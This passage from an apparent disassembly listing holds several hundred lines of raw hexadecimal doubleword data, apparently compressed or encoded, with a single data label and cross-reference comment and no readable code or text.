		dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh,	0ED51FFAh
		dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
		dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
		dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh,	1EBEE00h
		dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
		dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
		dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
		dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h,	4084B073h
		dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
		dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
		dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h,	2803007Eh
		dd 4987B8BBh, 600452Bh,	1167FD1h, 7DC5A30Eh, 421900F4h
		dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
		dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah,	3B77426h
		dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
		dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
		dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
		dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
		dd 1D2D00F5h, 0AEA0BAh,	542B7EBDh, 3B90E91Fh, 89DB520Fh
		dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
		dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
		dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah,	5A6CC001h
		dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
		dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
		dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
		dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
		dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
		dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
		dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
		dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
		dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
		dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h,	16A61CEEh
		dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h,	0FE800DE8h
		dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h,	31A0020Ah
		dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
		dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
		dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
		dd 1AC90C0h, 8678326Eh,	30484087h, 0A0357B5h, 0A968163Fh
		dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
		dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
		dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
		dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
		dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
		dd 9DC5ADA8h, 1697F00h,	0FFCFA6D5h, 781F0E49h, 0C314B6BDh
		dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
		dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h,	8D093927h
		dd 70F70Fh, 0C9304093h,	0FFE33D3Ch, 8A529681h, 838E49E7h
		dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch,	0BBD226FCh
		dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
		dd 406F9FA4h, 1F8AA17h,	0E30F10AEh, 0ECFAC4C5h,	0B01C9C59h
		dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
		dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
		dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah,	93A7E44Dh
		dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
		dd 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h
		dd 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh
		dd 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h
		dd 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h
		dd 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh
		dd 9001BBE0h, 84280015h, 204838DBh, 0C201F229h,	94345577h
		dd 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h
		dd 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h
		dd 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h
		dd 0D8A50C02h, 0AEB1Fh,	2D31A153h, 3D0D8B43h, 0E01D8900h
		dd 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h
		dd 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh,	8B730A3Bh
		dd 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh
		dd 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h,	6D182C6Bh
		dd 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h,	0D903E612h
		dd 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh
		dd 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h
		dd 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h
		dd 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h
		dd 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h
		dd 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h,	3401577Bh
		dd 932DC45h, 69E480C4h,	0EB601EA6h, 0A49ECF10h,	722413C0h
		dd 99282004h, 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h
		dd 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah,	6C009170h
		dd 64E468C8h, 98396072h, 22586132h, 60502354h, 4800C819h
		dd 407244E4h, 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h
		dd 3BB072h, 0FC319382h,	0A6F8104Ch, 0F4470800h,	0EC91F023h
		dd 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h
		dd 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h
		dd 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h
		dd 187BD521h, 4914DC05h, 57780800h, 64487710h, 5387000Ch
		dd 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h
		dd 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h
		dd 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h
		dd 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h
		dd 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h
		dd 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h
		dd 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh
		dd 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h
		dd 1CC639C5h, 722BEC7h,	0CA91C923h, 0CCE4CB50h,	39CD0472h
		dd 0CF1CCEh, 91B123B0h,	0B3C824B2h, 39B58111h, 80B71CB6h
		dd 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h
		dd 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah
		dd 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh
		dd 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h
		dd 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h
		dd 817E2423h, 651F4845h, 5B037061h, 0ABE45790h,	95809CB2h
		dd 0C015E2h, 754F450Ch,	66017473h, 6D654D00h, 3A79726Fh
		dd 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h,	0DD6E4909h
		dd 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h
		dd 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h
		dd 817E5F50h, 0F0756020h, 10165209h, 35010E65h,	47F658A8h
		dd 79043CD0h, 0F01F642h, 76694445h, 415A7900h, 90016FBBh
		dd 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h
		dd 7700C820h, 8210C92h,	4076014Fh, 6F6C66AFh, 2B74F44Dh
		dd 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h
		dd 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh
		dd 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh
		dd 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h,	520A6E55h
		dd 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h
		dd 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah
		dd 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh,	0B002BAD4h
		dd 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h
		dd 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h
		dd 325048h, 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah
		dd 74005345h, 6B632661h, 67905081h, 4064A294h, 1109C93Bh
		dd 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh
		dd 390D8761h, 8A04512h,	0D4FC8D00h, 58EA5C40h, 0C51E2449h
		dd 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h
		dd 8462030Eh, 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah
		dd 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h,	0C4002A1Eh
		dd 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h
		dd 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h
		dd 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh,	5C00212Bh
		dd 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h
		dd 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h
		dd 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h
		dd 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h
		dd 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h
		dd 0C07D4855h, 0A120DC7Fh
dword_4E414C	dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
					; DATA XREF: seg002:off_43CE20o
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h,	6844BDD8h
		dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
		dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
		dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
		dd 12F3B91h, 3822F5D5h,	402E1004h, 0C4F278E2h, 3A3F9400h
		dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
		dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
		dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h,	0AFE8D490h
		dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh
		dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh
		dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h
		dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h
		dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h
		dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh,	0C73F692Fh
		dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh
		dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h
		dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h
		dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h
		dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h
		dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h,	34D6373Bh
		dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h
		dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
		dd 73FC5FCh, 27895657h,	7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
		dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
		dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
		dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
		dd 15A5F25h, 802AF4D3h,	0D0C6AACAh, 67003164h, 21D20BFFh
		dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
		dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch,	95543200h
		dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
		dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
		dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
		dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
		dd 0FBF2F87Dh, 761F0Eh,	0AB9BBB05h, 944A8C26h, 8E7B9000h
		dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
		dd 20A864FFh, 6AA028Bh,	0F0CF22CBh, 61F056C3h, 6C0524B1h
		dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh,	60537BE2h
		dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
		dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
		dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
		dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h,	575302Dh
		dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h,	0F8C825D8h
		dd 1DFEB31h, 22BBE414h,	0C42E6440h, 0B40F2919h,	9C2649h
		dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
		dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
		dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh,	0C6004454h
		dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
		dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h,	12AC0B6h
		dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
		dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch,	4F1F0086h
		dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
		dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h,	0F4406Dh
		dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
		dd 2102C604h, 93C2564h,	34D08E7Bh, 6919C066h, 2C0111BEh
		dd 3FE87Dh, 0B955D39Dh,	0DC074D87h, 97D5D129h, 5D8DA330h
		dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh,	0B0C8D074h
		dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh,	1E575243h
		dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
		dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
		dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
		dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
		dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
		dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
		dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
		dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
		dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
		dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
		dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
		dd 6AD6B7h, 0EBCA5D5Fh,	7C95170Bh, 9053400h, 0EABA74F6h
		dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
		dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
		dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h,	6E98E103h
		dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
		dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
		dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
		dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
		dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh,	0D9AB50C3h
		dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
		dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h,	0E8D7F830h
		dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
		dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
		dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
		dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
		dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
		dd 437D7Ch, 0DDDB0330h,	645157B2h, 62722F00h, 0A6B4BA7h
		dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
		dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
		dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
		dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
		dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
		dd 47203Ch, 0F841F940h,	0E8FE0581h, 3AD48200h, 6939FFB8h
		dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
		dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
		dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
		dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
		dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
		dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
		dd 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
		dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h,	30070E7Eh
		dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
		dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
		dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
		dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah,	7791F073h
		dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
		dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
		dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah
		dd 5BB35F4h, 8C063757h,	902BC0F0h, 7034612h, 497D834Ah
		dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h
		dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h
		dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh
		dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch
		dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h,	5000CB2Ch
		dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah
		dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh
		dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh
		dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh
		dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h,	0BB019148h
		dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh,	28E7A65Ch
		dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
		dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
		dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
		dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h,	0D79E7323h
		dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
		dd 0F8F6EBh, 3260B63Eh,	50895951h, 0D09F0300h, 64EBDFDBh
		dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
		dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
		dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
		dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h,	94613Dh
		dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
		dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
		dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
		dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h,	4B6F7181h
		dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
		dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
		dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
		dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
		dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h,	0D0112CF2h
		dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h,	48901h
		dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h,	7CD5B4ACh
		dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
		dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h,	0C80720E9h
		dd 54046A00h, 37503056h, 0DF442568h, 16245500h,	420099BAh
		dd 90A4D4B8h, 7F4ACC7h,	4A045698h, 0FB8069FAh, 80102903h
		dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
		dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
		dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
		dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
		dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
		dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
		dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
		dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
